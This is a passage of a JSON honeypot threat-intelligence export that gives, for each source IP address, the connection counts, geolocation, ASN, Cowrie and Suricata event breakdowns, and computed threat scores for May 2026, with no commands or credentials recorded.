      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "123.165.86.246": {
      "attack_count": 2,
      "first_seen": "2026-05-26T04:10:20.198Z",
      "last_seen": "2026-05-26T04:10:33.305Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T04:10:20.198000+00:00",
        "last_seen_30d": "2026-05-26T04:11:39.107000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.179.175.44": {
      "attack_count": 2,
      "first_seen": "2026-05-25T03:34:22.971Z",
      "last_seen": "2026-05-25T03:34:36.504Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T03:34:22.971000+00:00",
        "last_seen_30d": "2026-05-25T03:35:39.684000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "140.213.161.232": {
      "attack_count": 2,
      "first_seen": "2026-05-09T13:46:27.079Z",
      "last_seen": "2026-05-09T13:46:41.267Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Semarang",
      "asn": 24203,
      "as_org": "PT XL Axiata",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T13:46:27.079000+00:00",
        "last_seen_30d": "2026-05-09T13:47:46.804000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "151.0.45.220": {
      "attack_count": 2,
      "first_seen": "2026-05-17T08:55:44.500Z",
      "last_seen": "2026-05-17T08:55:58.651Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Makeyevka",
      "asn": 211101,
      "as_org": "Nasteka Maksim Viktorovich",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T08:55:44.500000+00:00",
        "last_seen_30d": "2026-05-17T08:57:07.011000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.114.225.247": {
      "attack_count": 2,
      "first_seen": "2026-05-23T09:56:11.445Z",
      "last_seen": "2026-05-23T09:56:47.989Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:56:11.445000+00:00",
        "last_seen_30d": "2026-05-23T09:57:55.159000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.227.61.248": {
      "attack_count": 2,
      "first_seen": "2026-05-06T04:29:57.246Z",
      "last_seen": "2026-05-06T04:30:12.033Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Salamanca",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T04:29:57.246000+00:00",
        "last_seen_30d": "2026-05-06T04:31:18.679000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.115.85.119": {
      "attack_count": 2,
      "first_seen": "2026-05-22T19:09:18.652Z",
      "last_seen": "2026-05-22T19:09:46.922Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:09:18.652000+00:00",
        "last_seen_30d": "2026-05-22T19:10:48.777000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.190.47.27": {
      "attack_count": 2,
      "first_seen": "2026-05-03T08:09:15.621Z",
      "last_seen": "2026-05-03T08:09:28.573Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Maramag",
      "asn": 4775,
      "as_org": "Globe Telecoms",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T08:09:15.621000+00:00",
        "last_seen_30d": "2026-05-03T08:10:30.749000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.46.200.40": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:46:30.688Z",
      "last_seen": "2026-05-23T08:46:43.976Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:46:30.688000+00:00",
        "last_seen_30d": "2026-05-23T08:47:51.049000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.196.66.238": {
      "attack_count": 2,
      "first_seen": "2026-05-27T01:19:28.662Z",
      "last_seen": "2026-05-27T01:19:41.548Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Campillos",
      "asn": 205624,
      "as_org": "Telecomunicaciones Publicas Andaluzas S.L.",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T01:19:28.662000+00:00",
        "last_seen_30d": "2026-05-27T01:20:44.942000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.226.195.18": {
      "attack_count": 2,
      "first_seen": "2026-05-23T22:39:51.267Z",
      "last_seen": "2026-05-23T22:41:51.273Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Navira\u00ed",
      "asn": 262764,
      "as_org": "USONET INTERNET TECNOLOGIC EIRELI",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T22:39:51.267000+00:00",
        "last_seen_30d": "2026-05-23T22:52:27.298000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.61.61.134": {
      "attack_count": 2,
      "first_seen": "2026-05-02T21:26:10.785Z",
      "last_seen": "2026-05-02T21:26:23.712Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": null,
      "asn": 52468,
      "as_org": "UFINET PANAMA S.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T21:26:10.785000+00:00",
        "last_seen_30d": "2026-05-02T21:27:29.231000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.188.193.111": {
      "attack_count": 2,
      "first_seen": "2026-05-07T07:47:31.225Z",
      "last_seen": "2026-05-07T07:48:02.732Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T07:47:31.225000+00:00",
        "last_seen_30d": "2026-05-07T07:49:05.406000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "197.217.29.69": {
      "attack_count": 2,
      "first_seen": "2026-05-11T00:01:43.507Z",
      "last_seen": "2026-05-11T00:02:27.133Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": null,
      "asn": 11259,
      "as_org": "ANGOLATELECOM",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T00:01:43.507000+00:00",
        "last_seen_30d": "2026-05-11T00:03:35.030000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "2.50.162.152": {
      "attack_count": 2,
      "first_seen": "2026-05-25T07:00:19.084Z",
      "last_seen": "2026-05-25T07:00:32.266Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Al Ain City",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T07:00:19.084000+00:00",
        "last_seen_30d": "2026-05-25T07:01:33.480000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.97.91.12": {
      "attack_count": 2,
      "first_seen": "2026-05-05T04:17:24.023Z",
      "last_seen": "2026-05-05T04:17:35.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Volta Redonda",
      "asn": 7738,
      "as_org": "V tal",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:17:24.023000+00:00",
        "last_seen_30d": "2026-05-05T04:18:40.934000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.73": {
      "attack_count": 2,
      "first_seen": "2026-05-10T08:33:19.764Z",
      "last_seen": "2026-05-10T08:33:50.954Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 75.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 29,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T01:07:13+00:00",
        "last_seen_30d": "2026-05-30T20:52:22.795000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 23,
        "Cowrie": 2
      }
    },
    "205.210.31.84": {
      "attack_count": 2,
      "first_seen": "2026-05-11T16:48:31.576Z",
      "last_seen": "2026-05-11T16:49:02.624Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 30,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T22:36:52+00:00",
        "last_seen_30d": "2026-05-31T19:54:32.540000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 26,
        "ConPot": 18,
        "Cowrie": 2,
        "Honeyaml": 1
      }
    },
    "221.234.167.20": {
      "attack_count": 2,
      "first_seen": "2026-05-06T23:42:04.022Z",
      "last_seen": "2026-05-06T23:42:17.201Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T23:42:04.022000+00:00",
        "last_seen_30d": "2026-05-06T23:43:23.956000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.7.2.23": {
      "attack_count": 2,
      "first_seen": "2026-05-05T16:15:47.465Z",
      "last_seen": "2026-05-05T16:16:00.816Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 271899,
      "as_org": "GIGAPOP, C.A.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T16:15:47.465000+00:00",
        "last_seen_30d": "2026-05-05T16:17:04.930000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "42.100.22.159": {
      "attack_count": 2,
      "first_seen": "2026-05-23T05:20:54.026Z",
      "last_seen": "2026-05-23T05:21:50.501Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:20:54.026000+00:00",
        "last_seen_30d": "2026-05-23T05:22:54.132000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.58.160.216": {
      "attack_count": 2,
      "first_seen": "2026-05-14T14:24:45.924Z",
      "last_seen": "2026-05-14T14:24:59.255Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Ternopil",
      "asn": 16223,
      "as_org": "Maxnet Telecom, Ltd",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T14:24:45.924000+00:00",
        "last_seen_30d": "2026-05-14T14:26:03.891000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.91.44.134": {
      "attack_count": 2,
      "first_seen": "2026-05-26T16:42:53.257Z",
      "last_seen": "2026-05-26T16:43:07.252Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "N\u0101gaur",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T16:42:53.257000+00:00",
        "last_seen_30d": "2026-05-26T16:44:13.895000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "68.171.22.22": {
      "attack_count": 2,
      "first_seen": "2026-05-14T20:25:13.276Z",
      "last_seen": "2026-05-14T20:25:28.035Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Pleasant Hill",
      "asn": 13654,
      "as_org": "KC Web, Inc.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T20:25:13.276000+00:00",
        "last_seen_30d": "2026-05-14T20:26:35.733000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "79.189.95.95": {
      "attack_count": 2,
      "first_seen": "2026-05-13T21:22:32.389Z",
      "last_seen": "2026-05-13T21:22:45.612Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Rzesz\u00f3w",
      "asn": 5617,
      "as_org": "Orange Polska Spolka Akcyjna",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T21:22:32.389000+00:00",
        "last_seen_30d": "2026-05-13T21:23:47.824000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.219.165.42": {
      "attack_count": 2,
      "first_seen": "2026-05-14T08:23:25.286Z",
      "last_seen": "2026-05-14T08:23:56.066Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T08:23:25.286000+00:00",
        "last_seen_30d": "2026-05-14T08:25:03.204000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "85.101.157.132": {
      "attack_count": 2,
      "first_seen": "2026-05-17T21:54:14.648Z",
      "last_seen": "2026-05-17T21:54:27.318Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T21:54:14.648000+00:00",
        "last_seen_30d": "2026-05-17T21:55:37.348000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.217.149.19": {
      "attack_count": 2,
      "first_seen": "2026-05-19T20:26:08.244Z",
      "last_seen": "2026-05-19T20:26:08.506Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2329,
        "days_active_30d": 30,
        "ports_targeted_30d": 1015,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T02:25:46+00:00",
        "last_seen_30d": "2026-05-31T08:39:31.808000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1469,
        "Honeytrap": 857,
        "Cowrie": 2,
        "Mailoney": 1
      }
    },
    "87.4.26.32": {
      "attack_count": 2,
      "first_seen": "2026-05-22T01:07:45.163Z",
      "last_seen": "2026-05-22T01:09:45.166Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Bolzano",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
